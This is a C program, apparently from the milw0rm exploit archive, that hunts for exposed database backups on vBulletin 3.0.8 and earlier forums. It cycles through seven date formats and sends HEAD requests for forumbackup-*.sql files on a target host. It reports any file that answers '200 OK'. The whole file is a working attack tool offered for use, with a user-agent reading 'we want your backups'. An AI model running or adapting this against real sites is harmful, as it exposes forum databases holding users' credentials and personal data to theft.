vBulletin <= 3.0.8 Accessible Database Backup Searcher (update 3)

/*

* Needed to pentest a few vBulletin forums so I wrote this junk real quick.

* Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html

* Good paths: /forum/ / /forum/archive/ /forum/cpadmin/

* Update 1: Code error fixes. /str0ke (str0ke@milw0rm.com)

* Update 2: Fixed datestring-version for international boards by hals1 (h4ls4bschn31d3r@gmx.net)

* Update 3: French vBulletin boards added by Tyn0r (tyn0r@atxteam.net)

* /str0ke

*/

#include

#include

#include

#include

#include

#include

#include

#define SERVER_PORT 80

char *getdate(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

char *getdate2(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

char *getdate3(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

char *getdate4(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

char *getdate5(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

char *getdate6(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

char *getdate7(int b){

static char datestring[40];

time_t ttt;

int minustime;

minustime=86400 * b;

ttt=time(NULL)- minustime;

strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r

printf("Searching: forumbackup-%s.sql\n", datestring);

return(datestring);

}

main(int argc, char *argv[]) {

char buffer[1000],host[255],path[255],dog[255],c;

int sd, rc, i=0, d=0, b;

struct sockaddr_in localAddr, servAddr;

struct hostent *h;

char *http =

"Accept: */*\r\n"

"Accept-Language: en-us,en;q=0.5\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"

"User-Agent: we want your backups - milw0rm\r\n"

"Connection: close\r\n\r\n";

if ( argc != 5) {

printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");

printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);

exit(0);

}

while ((c = getopt (argc, argv, "h:p:")) != EOF)

switch(c)

{

case 'h':

strncpy(host,optarg,sizeof(host));

break;

case 'p':

strncpy(path,optarg,sizeof(path));

break;

}

h = gethostbyname(host);

if(h==NULL) {

printf("Unknown Host '%s'\n",host);

exit(1);

}

printf("Trying To Connect To [%s]\n",host);

while(1){

servAddr.sin_family = h->h_addrtype;

memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

servAddr.sin_port = htons(SERVER_PORT);

sd = socket(AF_INET, SOCK_STREAM, 0);

if(sd<0) {

perror("Can Not Open The Socket\n");

exit(1);

}

localAddr.sin_family = AF_INET;

localAddr.sin_addr.s_addr = htonl(INADDR_ANY);

localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

if(rc<0) {

printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);

perror("error ");

exit(1);

}

rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

if(rc<0) {

perror("cannot connect\n");

exit(1);

}

memset(buffer,0,sizeof(buffer));

if ( d == 0 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);

} else if ( d == 1 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);

} else if ( d == 2 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);

} else if ( d == 3 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);

} else if ( d == 4 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);

} else if ( d == 5 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);

} else if ( d == 6 ) {

snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);

}

rc = send(sd,buffer, strlen(buffer), 0);

memset(buffer,0,sizeof(buffer));

while(1)

{

rc=recv(sd,buffer,sizeof(buffer),0);

if(strstr(buffer,"404")) break;

if(strstr(buffer,"200 OK"))

{

if ( d == 0 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));

}

if ( d == 1 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));

}

if ( d == 2 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));

}

if ( d == 3 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));

}

if ( d == 4 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));

}

if ( d == 5 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));

}

if ( d == 6 ) {

printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));

}

exit(0);

}

memset(buffer,0,sizeof(buffer));

}

close(sd);

if ( d < 6 ) {

d++;

} else {

d=0;

i++;

}

}

}